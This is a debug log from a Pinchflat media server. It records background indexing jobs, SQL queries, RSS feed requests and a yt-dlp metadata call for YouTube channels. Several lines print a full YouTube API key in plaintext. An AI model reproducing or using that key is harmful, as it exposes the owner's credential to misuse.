[debug] QUERY OK source="tasks" db=0.1ms idle=260.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268197, 43, ~U[2026-10-09 21:15:42Z], ~U[2026-10-09 21:15:42Z]] 16:15:42.154 [info] {"args":{"id":43},"id":5268157,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":262603,"event":"job:stop","queue_time":752210,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:42.313 [debug] QUERY OK source="media_items" db=0.6ms idle=159.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "F3BGWNuVMUE", "zy-ZowzY8rI", "iPqkxKao6Bk", "0EVEzVz1iTY", "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", ...] 16:15:42.314 [debug] QUERY OK source="media_items" db=0.3ms idle=160.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 16:15:42.315 [debug] QUERY OK source="tasks" db=0.1ms idle=154.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268198, 23, ~U[2026-10-09 21:15:42Z], ~U[2026-10-09 21:15:42Z]] 16:15:42.315 [info] {"args":{"id":23},"id":5268158,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":423892,"event":"job:stop","queue_time":477770,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:15:44.355 [info] {"source":"oban","duration":9696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.382 [info] {"source":"oban","duration":148,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:16:14.365 [info] {"source":"oban","duration":9718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:32.318 [info] GET /sources/3914eb9d-4fe0-471d-87d8-8684d6d44aa1/feed.xml 16:16:32.318 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "3914eb9d-4fe0-471d-87d8-8684d6d44aa1"} Pipelines: [:maybe_basic_auth] 16:16:32.318 [debug] QUERY OK source="sources" db=0.1ms idle=624.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["3914eb9d-4fe0-471d-87d8-8684d6d44aa1"] 16:16:32.318 [debug] QUERY OK source="media_items" db=0.1ms idle=624.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [42, 2000] 16:16:32.319 [debug] QUERY OK source="source_metadata" db=0.0ms idle=625.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [42] 16:16:32.319 [debug] QUERY OK source="media_metadata" db=0.0ms idle=625.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1570955] 16:16:32.319 [info] Sent 200 in 1ms 16:16:44.373 [info] {"source":"oban","duration":7398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:17:00.383 [info] {"source":"oban","duration":137,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:17:14.383 [info] {"source":"oban","duration":9953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":2} 16:17:22.995 [info] {"args":{"id":42},"id":5268159,"meta":{},"system_time":1791580642995234717,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:22.995 [debug] QUERY OK source="sources" db=0.1ms idle=1301.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 16:17:22.995 [debug] QUERY OK source="settings" db=0.0ms idle=1301.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:22.995 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:22.996 [debug] QUERY OK source="settings" db=0.6ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:22.996 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 16:17:22.996 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:22.996 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:23.056 [debug] QUERY OK source="media_items" db=0.2ms idle=60.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?)) [42, "eF6hxEXwgso", "Wzir-lrTI9A", "JAvHibORZ50", "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 16:17:23.056 [debug] QUERY OK source="settings" db=0.0ms idle=60.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:23.056 [debug] QUERY OK source="settings" db=0.0ms idle=60.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:23.056 [debug] Running yt-dlp command for action: get_media_attributes 16:17:23.057 [debug] QUERY OK source="settings" db=0.0ms idle=60.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:23.057 [debug] QUERY OK source="settings" db=0.0ms idle=60.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:23.057 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:23.057 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/8d/51/8d51bc764279248d3e3fa6ba3b76c8c84927becb91aca521406a1177a1f3ab77.json --sleep-requests 79 --sleep-interval 76 --sleep-subtitles 86 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:17:23.444 [info] GET /sources/03fa4859-7b6c-4a0d-aca4-32d3dd1f2b25/feed.xml 16:17:23.444 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "03fa4859-7b6c-4a0d-aca4-32d3dd1f2b25"} Pipelines: [:maybe_basic_auth] 16:17:23.444 [debug] QUERY OK source="sources" db=0.2ms idle=387.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["03fa4859-7b6c-4a0d-aca4-32d3dd1f2b25"] 16:17:23.446 [debug] QUERY OK source="media_items" db=1.2ms idle=388.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [16, 2000] 16:17:23.447 [debug] QUERY OK source="source_metadata" db=0.0ms idle=390.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [16] 16:17:23.447 [debug] QUERY OK source="media_metadata" db=0.0ms idle=390.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577546] 16:17:23.447 [info] Sent 200 in 3ms 16:17:26.999 [info] {"args":{"id":36},"id":5268160,"meta":{},"system_time":1791580646999331360,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:26.999 [debug] QUERY OK source="sources" db=0.0ms idle=305.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 16:17:26.999 [debug] QUERY OK source="settings" db=0.0ms idle=305.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:26.999 [debug] QUERY OK source="media_profiles" db=0.1ms idle=305.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:27.000 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:27.000 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 16:17:27.000 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:27.000 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:27.380 [debug] QUERY OK source="media_items" db=0.7ms idle=380.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "cvQ4mt95VD4", "nNl03lyJ0DY", "doFGXubmSDU", "qjCKMW5MmtI", "WJ4paCmvxRw", "UD9X5WxZ5nE", "s1khuVEDnpg", "s1F2wfUZYZQ", "Jm-6iviCl3k", "sz2u186BFek", "7iDmAl3xAIs", "jmrg7j5mhAc", "vWQ4T6rSI8I", "3xDmL9wrWHA", "EDe71YWP1PQ", "D1oCndkYDrU", "TRdwyWoFN2U", "cwXDjO_7tG0", "fPultyYlb-E", "PtCMsXYAPyc", "WVsG3daysEM", "NofmSGPCDr4", "63m_fsOE-eQ", "HC_kIVdg5CE", "YgMNE4C89EQ", "JrysfjSZRns", "MwllurO2M-Y", "G-2bgFvizNk", "gAiLAJ6jlbE", "voXclnaYIaE", "1YO2_PLGP-M", "GRH-Z7onr8k", "N36yb-X1LN0", "lW4DtROF2K4", "5WOfbrrmwYE", "Vwh9SpgU5UM", "pF7flwZJgLA", "BA-CE2hAIeY", "I0PX9qghK1M", "2Ft0NWeznB4", "dXHIMEH0tTo", "wWg_-RXVh2A", "kJC1l4__UhE", "pFiRYgvg69E", "Kf-67zxoUlw", "cDSiCPt2pKM", "fPOCtxWsBYs", "RYok1AdumBU", "YB_dhxAtTjU", ...] 16:17:27.382 [debug] QUERY OK source="media_items" db=0.9ms idle=381.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 16:17:27.383 [debug] QUERY OK source="tasks" db=0.1ms idle=382.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268199, 36, ~U[2026-10-09 21:17:27Z], ~U[2026-10-09 21:17:27Z]] 16:17:27.383 [info] {"args":{"id":36},"id":5268160,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":383868,"event":"job:stop","queue_time":700417,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:28.000 [info] {"args":{"id":2},"id":5268161,"meta":{},"system_time":1791580648000414983,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:28.000 [debug] QUERY OK source="sources" db=0.1ms idle=617.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:17:28.001 [debug] QUERY OK source="settings" db=0.1ms idle=617.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:28.001 [debug] QUERY OK source="media_profiles" db=0.1ms idle=611.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:28.001 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:28.001 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 16:17:28.001 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:28.001 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:28.168 [debug] QUERY OK source="media_items" db=0.5ms idle=167.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "dP91f2ZTcVo", "z8AtW0ufLuA", "NP7wz4bND3U", "ZF-AafvQZGI", "s3SdFYtRQB4", "9gxqJja_Uw8", "mQ4GG4As-so", "A2wtNp7A_pM", "PT8Iaeoah0A", "geN1VEZF1T0", "uzgWSN1aLt4", "aP68kBQDX2I", "6HcPlK1loWo", "NRhDHqEaXHc", "ijAISVpMIrs", "Dznsr0KN1XU", "2q5x8pdLRpo", "Olwjkt1QNTk", "MW_9s3Y_urI", "yYfActSoDbY", "u8R-bnz1MPU", "JmyepGMyt64", "42noFFM17NE", "AyaRzcapkZ0", "JOMaYjU4Gnw", "JivF-DgpiAE", "hgDGfh74pbw", "_YCDCBtjxrk", "alElfDsk9G8", "P5WzhbRbWKQ", "vVMZuSF7n24", "a2hhtkbcbtU", "MfwD2C4bvN0", "2qlV1KN_67Q", "m1PMTAEeywI", "BsWMWSI1uj4", "fgqKGIiP0SI", 